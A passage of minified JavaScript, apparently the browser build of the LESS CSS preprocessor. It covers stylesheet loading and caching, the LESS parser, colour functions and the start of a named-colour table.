!function(){var moduleFactory=function(){var module=this,exports=function(){!function(window){function require(arg){return window.less[arg.split("/")[1]]}function loadStyles(){for(var styles=document.getElementsByTagName("style"),i=0;i<styles.length;i++)styles[i].type.match(typePattern)&&(new less.Parser).parse(styles[i].innerHTML||"",function(e,tree){var css=tree.toCSS(),style=styles[i];style.type="text/css",style.styleSheet?style.styleSheet.cssText=css:style.innerHTML=css})}function loadStyleSheets(callback,reload){for(var i=0;i<less.sheets.length;i++)loadStyleSheet(less.sheets[i],callback,reload,less.sheets.length-(i+1))
}function loadStyleSheet(sheet,callback,reload,remaining){var url=window.location.href.replace(/[#?].*$/,""),href=sheet.href.replace(/\?.*$/,""),css=cache&&cache.getItem(href),timestamp=cache&&cache.getItem(href+":timestamp"),styles={css:css,timestamp:timestamp};/^(https?|file):/.test(href)||(href="/"==href.charAt(0)?window.location.protocol+"//"+window.location.host+href:url.slice(0,url.lastIndexOf("/")+1)+href);var filename=href.match(/([^\/]+)$/)[1];xhr(sheet.href,sheet.type,function(data,lastModified){if(!reload&&styles&&lastModified&&new Date(lastModified).valueOf()===new Date(styles.timestamp).valueOf())createCSS(styles.css,sheet),callback(null,null,data,sheet,{local:!0,remaining:remaining});
else try{new less.Parser({optimization:less.optimization,paths:[href.replace(/[\w\.-]+$/,"")],mime:sheet.type,filename:filename}).parse(data,function(e,root){if(e)return error(e,href);try{callback(e,root,data,sheet,{local:!1,lastModified:lastModified,remaining:remaining}),removeNode(document.getElementById("less-error-message:"+extractId(href)))}catch(e){error(e,href)}})}catch(e){error(e,href)}},function(status,url){throw new Error("Couldn't load "+url+" ("+status+")")})}function extractId(href){return href.replace(/^[a-z]+:\/\/?[^\/]+/,"").replace(/^\//,"").replace(/\?.*$/,"").replace(/\.[^\.\/]+$/,"").replace(/[^\.\w-]+/g,"-").replace(/\./g,":")
}function createCSS(styles,sheet,lastModified){var css,href=sheet.href?sheet.href.replace(/\?.*$/,""):"",id="less:"+(sheet.title||extractId(href));if(null===(css=document.getElementById(id))&&(css=document.createElement("style"),css.type="text/css",css.media=sheet.media||"screen",css.id=id,document.getElementsByTagName("head")[0].appendChild(css)),css.styleSheet)try{css.styleSheet.cssText=styles}catch(e){throw new Error("Couldn't reassign styleSheet.cssText.")}else!function(node){css.childNodes.length>0?css.firstChild.nodeValue!==node.nodeValue&&css.replaceChild(node,css.firstChild):css.appendChild(node)
}(document.createTextNode(styles));lastModified&&cache&&(log("saving "+href+" to cache."),cache.setItem(href,styles),cache.setItem(href+":timestamp",lastModified))}function xhr(url,type,callback,errback){function handleResponse(xhr,callback,errback){xhr.status>=200&&xhr.status<300?callback(xhr.responseText,xhr.getResponseHeader("Last-Modified")):"function"==typeof errback&&errback(xhr.status,url)}var xhr=getXMLHttpRequest(),async=isFileProtocol?!1:less.async;"function"==typeof xhr.overrideMimeType&&xhr.overrideMimeType("text/css"),xhr.open("GET",url,async),xhr.setRequestHeader("Accept",type||"text/x-less, text/css; q=0.9, */*; q=0.5"),xhr.send(null),isFileProtocol?0===xhr.status||xhr.status>=200&&xhr.status<300?callback(xhr.responseText):errback(xhr.status,url):async?xhr.onreadystatechange=function(){4==xhr.readyState&&handleResponse(xhr,callback,errback)
}:handleResponse(xhr,callback,errback)}function getXMLHttpRequest(){if(window.XMLHttpRequest)return new XMLHttpRequest;try{return new ActiveXObject("MSXML2.XMLHTTP.3.0")}catch(e){return log("browser doesn't support AJAX."),null}}function removeNode(node){return node&&node.parentNode.removeChild(node)}function log(str){"development"==less.env&&"undefined"!=typeof console&&console.log("less: "+str)}function error(e,href){var timer,content,id="less-error-message:"+extractId(href),template='<li><label>{line}</label><pre class="{class}">{content}</pre></li>',elem=document.createElement("div"),error=[],filename=e.filename||href;
elem.id=id,elem.className="less-error-message",content="<h3>"+(e.message||"There is an error in your .less file")+"</h3>"+'<p>in <a href="'+filename+'">'+filename+"</a> ";var errorline=function(e,i,classname){e.extract[i]&&error.push(template.replace(/\{line\}/,parseInt(e.line)+(i-1)).replace(/\{class\}/,classname).replace(/\{content\}/,e.extract[i]))};e.stack?content+="<br/>"+e.stack.split("\n").slice(1).join("<br/>"):e.extract&&(errorline(e,0,""),errorline(e,1,"line"),errorline(e,2,""),content+="on line "+e.line+", column "+(e.column+1)+":</p>"+"<ul>"+error.join("")+"</ul>"),elem.innerHTML=content,createCSS([".less-error-message ul, .less-error-message li {","list-style-type: none;","margin-right: 15px;","padding: 4px 0;","margin: 0;","}",".less-error-message label {","font-size: 12px;","margin-right: 15px;","padding: 4px 0;","color: #cc7777;","}",".less-error-message pre {","color: #dd6666;","padding: 4px 0;","margin: 0;","display: inline-block;","}",".less-error-message pre.line {","color: #ff0000;","}",".less-error-message h3 {","font-size: 20px;","font-weight: bold;","padding: 15px 0 5px 0;","margin: 0;","}",".less-error-message a {","color: #10a","}",".less-error-message .error {","color: red;","font-weight: bold;","padding-bottom: 2px;","border-bottom: 1px dashed red;","}"].join("\n"),{title:"error-message"}),elem.style.cssText=["font-family: Arial, sans-serif","border: 1px solid #e00","background-color: #eee","border-radius: 5px","-webkit-border-radius: 5px","-moz-border-radius: 5px","color: #e00","padding: 15px","margin-bottom: 15px"].join(";"),"development"==less.env&&(timer=setInterval(function(){document.body&&(document.getElementById(id)?document.body.replaceChild(elem,document.getElementById(id)):document.body.insertBefore(elem,document.body.firstChild),clearInterval(timer))
},10))}"function"==typeof define&&define.amd&&define("less",[],function(){return less}),Array.isArray||(Array.isArray=function(obj){return"[object Array]"===Object.prototype.toString.call(obj)||obj instanceof Array}),Array.prototype.forEach||(Array.prototype.forEach=function(block,thisObject){for(var len=this.length>>>0,i=0;len>i;i++)i in this&&block.call(thisObject,this[i],i,this)}),Array.prototype.map||(Array.prototype.map=function(fun){for(var len=this.length>>>0,res=new Array(len),thisp=arguments[1],i=0;len>i;i++)i in this&&(res[i]=fun.call(thisp,this[i],i,this));
return res}),Array.prototype.filter||(Array.prototype.filter=function(block){for(var values=[],thisp=arguments[1],i=0;i<this.length;i++)block.call(thisp,this[i])&&values.push(this[i]);return values}),Array.prototype.reduce||(Array.prototype.reduce=function(fun){var len=this.length>>>0,i=0;if(0===len&&1===arguments.length)throw new TypeError;if(arguments.length>=2)var rv=arguments[1];else for(;;){if(i in this){rv=this[i++];break}if(++i>=len)throw new TypeError}for(;len>i;i++)i in this&&(rv=fun.call(null,rv,this[i],i,this));
return rv}),Array.prototype.indexOf||(Array.prototype.indexOf=function(value){var length=this.length,i=arguments[1]||0;if(!length)return-1;if(i>=length)return-1;for(0>i&&(i+=length);length>i;i++)if(Object.prototype.hasOwnProperty.call(this,i)&&value===this[i])return i;return-1}),Object.keys||(Object.keys=function(object){var keys=[];for(var name in object)Object.prototype.hasOwnProperty.call(object,name)&&keys.push(name);return keys}),String.prototype.trim||(String.prototype.trim=function(){return String(this).replace(/^\s\s*/,"").replace(/\s\s*$/,"")
});var less,tree;"object"==typeof environment&&"[object Environment]"==={}.toString.call(environment)?(less="undefined"==typeof window?{}:window.less={},tree=less.tree={},less.mode="rhino"):"undefined"==typeof window?(less=exports,tree=require("./tree"),less.mode="node"):("undefined"==typeof window.less&&(window.less={}),less=window.less,tree=window.less.tree={},less.mode="browser"),less.Parser=function(env){function save(){temp=chunks[j],memo=i,current=i}function restore(){chunks[j]=temp,i=memo,current=i}function sync(){i>current&&(chunks[j]=chunks[j].slice(i-current),current=i)
}function $(tok){var match,length,c,endIndex,mem;if(tok instanceof Function)return tok.call(parser.parsers);if("string"==typeof tok)match=input.charAt(i)===tok?tok:null,length=1,sync();else{if(sync(),!(match=tok.exec(chunks[j])))return null;length=match[0].length}if(match){for(mem=i+=length,endIndex=i+chunks[j].length-length;endIndex>i&&(c=input.charCodeAt(i),32===c||10===c||9===c);)i++;return chunks[j]=chunks[j].slice(length+(i-mem)),current=i,0===chunks[j].length&&j<chunks.length-1&&j++,"string"==typeof match?match:1===match.length?match[0]:match
}}function expect(arg,msg){var result=$(arg);return result?result:(error(msg||("string"==typeof arg?"expected '"+arg+"' got '"+input.charAt(i)+"'":"unexpected token")),void 0)}function error(msg,type){throw{index:i,type:type||"Syntax",message:msg}}function peek(tok){return"string"==typeof tok?input.charAt(i)===tok:tok.test(chunks[j])?!0:!1}function basename(pathname){return"node"===less.mode?require("path").basename(pathname):pathname.match(/[^\/]+$/)[0]}function getInput(e,env){return e.filename&&env.filename&&e.filename!==env.filename?parser.imports.contents[basename(e.filename)]:input
}function getLocation(index,input){for(var n=index,column=-1;n>=0&&"\n"!==input.charAt(n);n--)column++;return{line:"number"==typeof index?(input.slice(0,index).match(/\n/g)||"").length:null,column:column}}function LessError(e,env){var input=getInput(e,env),loc=getLocation(e.index,input),line=loc.line,col=loc.column,lines=input.split("\n");this.type=e.type||"Syntax",this.message=e.message,this.filename=e.filename||env.filename,this.index=e.index,this.line="number"==typeof line?line+1:null,this.callLine=e.call&&getLocation(e.call,input)+1,this.callExtract=lines[getLocation(e.call,input)],this.stack=e.stack,this.column=col,this.extract=[lines[line-1],lines[line],lines[line+1]]
}var input,i,j,temp,memo,furthest,chunks,current,parser,finish=function(){},imports=this.imports={paths:env&&env.paths||[],queue:[],files:{},contents:{},mime:env&&env.mime,error:null,push:function(path,callback){var that=this;this.queue.push(path),less.Parser.importer(path,this.paths,function(e,root,contents){that.queue.splice(that.queue.indexOf(path),1),that.files[path]=root,that.contents[path]=contents,e&&!that.error&&(that.error=e),callback(e,root),0===that.queue.length&&finish()},env)}};return this.env=env=env||{},this.optimization="optimization"in this.env?this.env.optimization:1,this.env.filename=this.env.filename||null,parser={imports:imports,parse:function(str,callback){var root,line,lines,error=null;
if(i=j=current=furthest=0,input=str.replace(/\r\n/g,"\n"),chunks=function(chunks){for(var match,inParam,c,cc,j=0,skip=/[^"'`\{\}\/\(\)\\]+/g,comment=/\/\*(?:[^*]|\*+[^\/*])*\*+\/|\/\/.*/g,string=/"((?:[^"\\\r\n]|\\.)*)"|'((?:[^'\\\r\n]|\\.)*)'|`((?:[^`\\\r\n]|\\.)*)`/g,level=0,chunk=chunks[0],i=0;i<input.length;i++)switch(skip.lastIndex=i,(match=skip.exec(input))&&match.index===i&&(i+=match[0].length,chunk.push(match[0])),c=input.charAt(i),comment.lastIndex=string.lastIndex=i,(match=string.exec(input))&&match.index===i&&(i+=match[0].length,chunk.push(match[0]),c=input.charAt(i)),inParam||"/"!==c||(cc=input.charAt(i+1),("/"===cc||"*"===cc)&&(match=comment.exec(input))&&match.index===i&&(i+=match[0].length,chunk.push(match[0]),c=input.charAt(i))),c){case"{":if(!inParam){level++,chunk.push(c);
break}case"}":if(!inParam){level--,chunk.push(c),chunks[++j]=chunk=[];break}case"(":if(!inParam){inParam=!0,chunk.push(c);break}case")":if(inParam){inParam=!1,chunk.push(c);break}default:chunk.push(c)}return level>0&&(error=new LessError({index:i,type:"Parse",message:"missing closing `}`",filename:env.filename},env)),chunks.map(function(c){return c.join("")})}([[]]),error)return callback(error);try{root=new tree.Ruleset([],$(this.parsers.primary)),root.root=!0}catch(e){return callback(new LessError(e,env))}if(root.toCSS=function(evaluate){return function(options,variables){var importError,frames=[];
options=options||{},"object"!=typeof variables||Array.isArray(variables)||(variables=Object.keys(variables).map(function(k){var value=variables[k];return value instanceof tree.Value||(value instanceof tree.Expression||(value=new tree.Expression([value])),value=new tree.Value([value])),new tree.Rule("@"+k,value,!1,0)}),frames=[new tree.Ruleset(null,variables)]);try{var css=evaluate.call(this,{frames:frames}).toCSS([],{compress:options.compress||!1})}catch(e){throw new LessError(e,env)}if(importError=parser.imports.error)throw importError instanceof LessError?importError:new LessError(importError,env);
return options.yuicompress&&"node"===less.mode?require("./cssmin").compressor.cssmin(css):options.compress?css.replace(/(\s)+/g,"$1"):css}}(root.eval),i<input.length-1){i=furthest,lines=input.split("\n"),line=(input.slice(0,i).match(/\n/g)||"").length+1;for(var n=i,column=-1;n>=0&&"\n"!==input.charAt(n);n--)column++;error={type:"Parse",message:"Syntax Error on line "+line,index:i,filename:env.filename,line:line,column:column,extract:[lines[line-2],lines[line-1],lines[line]]}}this.imports.queue.length>0?finish=function(){callback(error,root)
}:callback(error,root)},parsers:{primary:function(){for(var node,root=[];(node=$(this.mixin.definition)||$(this.rule)||$(this.ruleset)||$(this.mixin.call)||$(this.comment)||$(this.directive))||$(/^[\s\n]+/);)node&&root.push(node);return root},comment:function(){var comment;if("/"===input.charAt(i))return"/"===input.charAt(i+1)?new tree.Comment($(/^\/\/.*/),!0):(comment=$(/^\/\*(?:[^*]|\*+[^\/*])*\*+\/\n?/))?new tree.Comment(comment):void 0},entities:{quoted:function(){var str,e,j=i;return"~"===input.charAt(j)&&(j++,e=!0),'"'===input.charAt(j)||"'"===input.charAt(j)?(e&&$("~"),(str=$(/^"((?:[^"\\\r\n]|\\.)*)"|'((?:[^'\\\r\n]|\\.)*)'/))?new tree.Quoted(str[0],str[1]||str[2],e):void 0):void 0
},keyword:function(){var k;return(k=$(/^[_A-Za-z-][_A-Za-z0-9-]*/))?tree.colors.hasOwnProperty(k)?new tree.Color(tree.colors[k].slice(1)):new tree.Keyword(k):void 0},call:function(){var name,args,index=i;if(name=/^([\w-]+|%|progid:[\w\.]+)\(/.exec(chunks[j])){if(name=name[1].toLowerCase(),"url"===name)return null;if(i+=name.length,"alpha"===name)return $(this.alpha);if($("("),args=$(this.entities.arguments),$(")"))return name?new tree.Call(name,args,index,env.filename):void 0}},arguments:function(){for(var arg,args=[];(arg=$(this.entities.assignment)||$(this.expression))&&(args.push(arg),$(",")););return args
},literal:function(){return $(this.entities.dimension)||$(this.entities.color)||$(this.entities.quoted)},assignment:function(){var key,value;return(key=$(/^\w+(?=\s?=)/i))&&$("=")&&(value=$(this.entity))?new tree.Assignment(key,value):void 0},url:function(){var value;if("u"===input.charAt(i)&&$(/^url\(/))return value=$(this.entities.quoted)||$(this.entities.variable)||$(this.entities.dataURI)||$(/^[-\w%@$\/.&=:;#+?~]+/)||"",expect(")"),new tree.URL(value.value||value.data||value instanceof tree.Variable?value:new tree.Anonymous(value),imports.paths)
},dataURI:function(){var obj;return $(/^data:/)&&(obj={},obj.mime=$(/^[^\/]+\/[^,;)]+/)||"",obj.charset=$(/^;\s*charset=[^,;)]+/)||"",obj.base64=$(/^;\s*base64/)||"",obj.data=$(/^,\s*[^)]+/),obj.data)?obj:void 0},variable:function(){var name,index=i;return"@"===input.charAt(i)&&(name=$(/^@@?[\w-]+/))?new tree.Variable(name,index,env.filename):void 0},color:function(){var rgb;return"#"===input.charAt(i)&&(rgb=$(/^#([a-fA-F0-9]{6}|[a-fA-F0-9]{3})/))?new tree.Color(rgb[1]):void 0},dimension:function(){var value,c=input.charCodeAt(i);
if(!(c>57||45>c||47===c))return(value=$(/^(-?\d*\.?\d+)(px|%|em|rem|pc|ex|in|deg|s|ms|pt|cm|mm|rad|grad|turn)?/))?new tree.Dimension(value[1],value[2]):void 0},javascript:function(){var str,e,j=i;return"~"===input.charAt(j)&&(j++,e=!0),"`"===input.charAt(j)?(e&&$("~"),(str=$(/^`([^`]*)`/))?new tree.JavaScript(str[1],i,e):void 0):void 0}},variable:function(){var name;return"@"===input.charAt(i)&&(name=$(/^(@[\w-]+)\s*:/))?name[1]:void 0},shorthand:function(){var a,b;if(peek(/^[@\w.%-]+\/[@\w.-]+/))return(a=$(this.entity))&&$("/")&&(b=$(this.entity))?new tree.Shorthand(a,b):void 0
},mixin:{call:function(){var e,c,args,elements=[],index=i,s=input.charAt(i),important=!1;if("."===s||"#"===s){for(;e=$(/^[#.](?:[\w-]|\\(?:[a-fA-F0-9]{1,6} ?|[^a-fA-F0-9]))+/);)elements.push(new tree.Element(c,e,i)),c=$(">");return $("(")&&(args=$(this.entities.arguments))&&$(")"),$(this.important)&&(important=!0),elements.length>0&&($(";")||peek("}"))?new tree.mixin.Call(elements,args,index,env.filename,important):void 0}},definition:function(){var name,match,ruleset,param,value,cond,params=[];if(!("."!==input.charAt(i)&&"#"!==input.charAt(i)||peek(/^[^{]*(;|})/))&&(save(),match=$(/^([#.](?:[\w-]|\\(?:[a-fA-F0-9]{1,6} ?|[^a-fA-F0-9]))+)\s*\(/))){for(name=match[1];(param=$(this.entities.variable)||$(this.entities.literal)||$(this.entities.keyword))&&(param instanceof tree.Variable?$(":")?(value=expect(this.expression,"expected expression"),params.push({name:param.name,value:value})):params.push({name:param.name}):params.push({value:param}),$(",")););if(expect(")"),$(/^when/)&&(cond=expect(this.conditions,"expected condition")),ruleset=$(this.block))return new tree.mixin.Definition(name,params,ruleset,cond);
restore()}}},entity:function(){return $(this.entities.literal)||$(this.entities.variable)||$(this.entities.url)||$(this.entities.call)||$(this.entities.keyword)||$(this.entities.javascript)||$(this.comment)},end:function(){return $(";")||peek("}")},alpha:function(){var value;if($(/^\(opacity=/i))return(value=$(/^\d+/)||$(this.entities.variable))?(expect(")"),new tree.Alpha(value)):void 0},element:function(){var e,c,v;return c=$(this.combinator),e=$(/^(?:\d+\.\d+|\d+)%/)||$(/^(?:[.#]?|:*)(?:[\w-]|\\(?:[a-fA-F0-9]{1,6} ?|[^a-fA-F0-9]))+/)||$("*")||$(this.attribute)||$(/^\([^)@]+\)/),e||$("(")&&(v=$(this.entities.variable))&&$(")")&&(e=new tree.Paren(v)),e?new tree.Element(c,e,i):c.value&&"&"===c.value.charAt(0)?new tree.Element(c,null,i):void 0
},combinator:function(){var match,c=input.charAt(i);if(">"===c||"+"===c||"~"===c){for(i++;" "===input.charAt(i);)i++;return new tree.Combinator(c)}if("&"===c){for(match="&",i++," "===input.charAt(i)&&(match="& ");" "===input.charAt(i);)i++;return new tree.Combinator(match)}if(":"===c&&":"===input.charAt(i+1)){for(i+=2;" "===input.charAt(i);)i++;return new tree.Combinator("::")}return" "===input.charAt(i-1)?new tree.Combinator(" "):new tree.Combinator(null)},selector:function(){for(var e,c,elements=[];(e=$(this.element))&&(c=input.charAt(i),elements.push(e),"{"!==c&&"}"!==c&&";"!==c&&","!==c););return elements.length>0?new tree.Selector(elements):void 0
},tag:function(){return $(/^[a-zA-Z][a-zA-Z-]*[0-9]?/)||$("*")},attribute:function(){var key,val,op,attr="";if($("[")&&((key=$(/^[a-zA-Z-]+/)||$(this.entities.quoted))&&(attr=(op=$(/^[|~*$^]?=/))&&(val=$(this.entities.quoted)||$(/^[\w-]+/))?[key,op,val.toCSS?val.toCSS():val].join(""):key),$("]")))return attr?"["+attr+"]":void 0},block:function(){var content;return $("{")&&(content=$(this.primary))&&$("}")?content:void 0},ruleset:function(){var s,rules,selectors=[];for(save();(s=$(this.selector))&&(selectors.push(s),$(this.comment),$(","));)$(this.comment);
return selectors.length>0&&(rules=$(this.block))?new tree.Ruleset(selectors,rules):(furthest=i,restore(),void 0)},rule:function(){var name,value,important,match,c=input.charAt(i);if(save(),"."!==c&&"#"!==c&&"&"!==c&&(name=$(this.variable)||$(this.property))){if("@"!=name.charAt(0)&&(match=/^([^@+\/'"*`(;{}-]*);/.exec(chunks[j]))?(i+=match[0].length-1,value=new tree.Anonymous(match[1])):value="font"===name?$(this.font):$(this.value),important=$(this.important),value&&$(this.end))return new tree.Rule(name,value,important,memo);
furthest=i,restore()}},"import":function(){var path,features,index=i;return $(/^@import\s+/)&&(path=$(this.entities.quoted)||$(this.entities.url))&&(features=$(this.mediaFeatures),$(";"))?new tree.Import(path,imports,features,index):void 0},mediaFeature:function(){var nodes=[];do if(e=$(this.entities.keyword))nodes.push(e);else if($("(")){if(p=$(this.property),e=$(this.entity),!$(")"))return null;if(p&&e)nodes.push(new tree.Paren(new tree.Rule(p,e,null,i,!0)));else{if(!e)return null;nodes.push(new tree.Paren(e))
}}while(e);return nodes.length>0?new tree.Expression(nodes):void 0},mediaFeatures:function(){for(var f,features=[];(f=$(this.mediaFeature))&&(features.push(f),$(",")););return features.length>0?features:null},media:function(){var features;return $(/^@media/)&&(features=$(this.mediaFeatures),rules=$(this.block))?new tree.Directive("@media",rules,features):void 0},directive:function(){var name,value,rules,types;if("@"===input.charAt(i)){if(value=$(this["import"])||$(this.media))return value;if(name=$(/^@page|@keyframes/)||$(/^@(?:-webkit-|-moz-|-o-|-ms-)[a-z0-9-]+/)){if(types=($(/^[^{]+/)||"").trim(),rules=$(this.block))return new tree.Directive(name+" "+types,rules)
}else if(name=$(/^@[-a-z]+/))if("@font-face"===name){if(rules=$(this.block))return new tree.Directive(name,rules)}else if((value=$(this.entity))&&$(";"))return new tree.Directive(name,value)}},font:function(){for(var e,value=[],expression=[];e=$(this.shorthand)||$(this.entity);)expression.push(e);if(value.push(new tree.Expression(expression)),$(","))for(;(e=$(this.expression))&&(value.push(e),$(",")););return new tree.Value(value)},value:function(){for(var e,expressions=[];(e=$(this.expression))&&(expressions.push(e),$(",")););return expressions.length>0?new tree.Value(expressions):void 0
},important:function(){return"!"===input.charAt(i)?$(/^! *important/):void 0},sub:function(){var e;return $("(")&&(e=$(this.expression))&&$(")")?e:void 0},multiplication:function(){var m,a,op,operation;if(m=$(this.operand)){for(;!peek(/^\/\*/)&&(op=$("/")||$("*"))&&(a=$(this.operand));)operation=new tree.Operation(op,[operation||m,a]);return operation||m}},addition:function(){var m,a,op,operation;if(m=$(this.multiplication)){for(;(op=$(/^[-+]\s+/)||" "!=input.charAt(i-1)&&($("+")||$("-")))&&(a=$(this.multiplication));)operation=new tree.Operation(op,[operation||m,a]);
return operation||m}},conditions:function(){var a,b,condition,index=i;if(a=$(this.condition)){for(;$(",")&&(b=$(this.condition));)condition=new tree.Condition("or",condition||a,b,index);return condition||a}},condition:function(){var a,b,c,op,index=i,negate=!1;return $(/^not/)&&(negate=!0),expect("("),(a=$(this.addition)||$(this.entities.keyword)||$(this.entities.quoted))?((op=$(/^(?:>=|=<|[<=>])/))?(b=$(this.addition)||$(this.entities.keyword)||$(this.entities.quoted))?c=new tree.Condition(op,a,b,index,negate):error("expected expression"):c=new tree.Condition("=",a,new tree.Keyword("true"),index,negate),expect(")"),$(/^and/)?new tree.Condition("and",c,$(this.condition)):c):void 0
},operand:function(){var negate,p=input.charAt(i+1);"-"!==input.charAt(i)||"@"!==p&&"("!==p||(negate=$("-"));var o=$(this.sub)||$(this.entities.dimension)||$(this.entities.color)||$(this.entities.variable)||$(this.entities.call);return negate?new tree.Operation("*",[new tree.Dimension(-1),o]):o},expression:function(){for(var e,entities=[];e=$(this.addition)||$(this.entity);)entities.push(e);return entities.length>0?new tree.Expression(entities):void 0},property:function(){var name;return(name=$(/^(\*?-?[-a-z_0-9]+)\s*:/))?name[1]:void 0
}}}},("browser"===less.mode||"rhino"===less.mode)&&(less.Parser.importer=function(path,paths,callback,env){!/^([a-z]+:)?\//.test(path)&&paths.length>0&&(path=paths[0]+path),loadStyleSheet({href:path,title:path,type:env.mime},function(e){e&&"function"==typeof env.errback?env.errback.call(null,path,paths,callback,env):callback.apply(null,arguments)},!0)}),function(tree){function hsla(hsla){return tree.functions.hsla(hsla.h,hsla.s,hsla.l,hsla.a)}function number(n){if(n instanceof tree.Dimension)return parseFloat("%"==n.unit?n.value/100:n.value);
if("number"==typeof n)return n;throw{error:"RuntimeError",message:"color functions take numbers as parameters"}}function clamp(val){return Math.min(1,Math.max(0,val))}tree.functions={rgb:function(r,g,b){return this.rgba(r,g,b,1)},rgba:function(r,g,b,a){var rgb=[r,g,b].map(function(c){return number(c)}),a=number(a);return new tree.Color(rgb,a)},hsl:function(h,s,l){return this.hsla(h,s,l,1)},hsla:function(h,s,l,a){function hue(h){return h=0>h?h+1:h>1?h-1:h,1>6*h?m1+6*(m2-m1)*h:1>2*h?m2:2>3*h?m1+6*(m2-m1)*(2/3-h):m1
}h=number(h)%360/360,s=number(s),l=number(l),a=number(a);var m2=.5>=l?l*(s+1):l+s-l*s,m1=2*l-m2;return this.rgba(255*hue(h+1/3),255*hue(h),255*hue(h-1/3),a)},hue:function(color){return new tree.Dimension(Math.round(color.toHSL().h))},saturation:function(color){return new tree.Dimension(Math.round(100*color.toHSL().s),"%")},lightness:function(color){return new tree.Dimension(Math.round(100*color.toHSL().l),"%")},alpha:function(color){return new tree.Dimension(color.toHSL().a)},saturate:function(color,amount){var hsl=color.toHSL();
return hsl.s+=amount.value/100,hsl.s=clamp(hsl.s),hsla(hsl)},desaturate:function(color,amount){var hsl=color.toHSL();return hsl.s-=amount.value/100,hsl.s=clamp(hsl.s),hsla(hsl)},lighten:function(color,amount){var hsl=color.toHSL();return hsl.l+=amount.value/100,hsl.l=clamp(hsl.l),hsla(hsl)},darken:function(color,amount){var hsl=color.toHSL();return hsl.l-=amount.value/100,hsl.l=clamp(hsl.l),hsla(hsl)},fadein:function(color,amount){var hsl=color.toHSL();return hsl.a+=amount.value/100,hsl.a=clamp(hsl.a),hsla(hsl)
},fadeout:function(color,amount){var hsl=color.toHSL();return hsl.a-=amount.value/100,hsl.a=clamp(hsl.a),hsla(hsl)},fade:function(color,amount){var hsl=color.toHSL();return hsl.a=amount.value/100,hsl.a=clamp(hsl.a),hsla(hsl)},spin:function(color,amount){var hsl=color.toHSL(),hue=(hsl.h+amount.value)%360;return hsl.h=0>hue?360+hue:hue,hsla(hsl)},mix:function(color1,color2,weight){var p=weight.value/100,w=2*p-1,a=color1.toHSL().a-color2.toHSL().a,w1=((-1==w*a?w:(w+a)/(1+w*a))+1)/2,w2=1-w1,rgb=[color1.rgb[0]*w1+color2.rgb[0]*w2,color1.rgb[1]*w1+color2.rgb[1]*w2,color1.rgb[2]*w1+color2.rgb[2]*w2],alpha=color1.alpha*p+color2.alpha*(1-p);
return new tree.Color(rgb,alpha)},greyscale:function(color){return this.desaturate(color,new tree.Dimension(100))},e:function(str){return new tree.Anonymous(str instanceof tree.JavaScript?str.evaluated:str)},escape:function(str){return new tree.Anonymous(encodeURI(str.value).replace(/=/g,"%3D").replace(/:/g,"%3A").replace(/#/g,"%23").replace(/;/g,"%3B").replace(/\(/g,"%28").replace(/\)/g,"%29"))},"%":function(quoted){for(var args=Array.prototype.slice.call(arguments,1),str=quoted.value,i=0;i<args.length;i++)str=str.replace(/%[sda]/i,function(token){var value=token.match(/s/i)?args[i].value:args[i].toCSS();
return token.match(/[A-Z]$/)?encodeURIComponent(value):value});return str=str.replace(/%%/g,"%"),new tree.Quoted('"'+str+'"',str)},round:function(n){return this._math("round",n)},ceil:function(n){return this._math("ceil",n)},floor:function(n){return this._math("floor",n)},_math:function(fn,n){if(n instanceof tree.Dimension)return new tree.Dimension(Math[fn](number(n)),n.unit);if("number"==typeof n)return Math[fn](n);throw{type:"Argument",message:"argument must be a number"}},argb:function(color){return new tree.Anonymous(color.toARGB())
},percentage:function(n){return new tree.Dimension(100*n.value,"%")},color:function(n){if(n instanceof tree.Quoted)return new tree.Color(n.value.slice(1));throw{type:"Argument",message:"argument must be a string"}},iscolor:function(n){return this._isa(n,tree.Color)},isnumber:function(n){return this._isa(n,tree.Dimension)},isstring:function(n){return this._isa(n,tree.Quoted)},iskeyword:function(n){return this._isa(n,tree.Keyword)},isurl:function(n){return this._isa(n,tree.URL)},ispixel:function(n){return n instanceof tree.Dimension&&"px"===n.unit?tree.True:tree.False
},ispercentage:function(n){return n instanceof tree.Dimension&&"%"===n.unit?tree.True:tree.False},isem:function(n){return n instanceof tree.Dimension&&"em"===n.unit?tree.True:tree.False},_isa:function(n,Type){return n instanceof Type?tree.True:tree.False}}}(require("./tree")),function(tree){tree.colors={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgrey:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",grey:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslat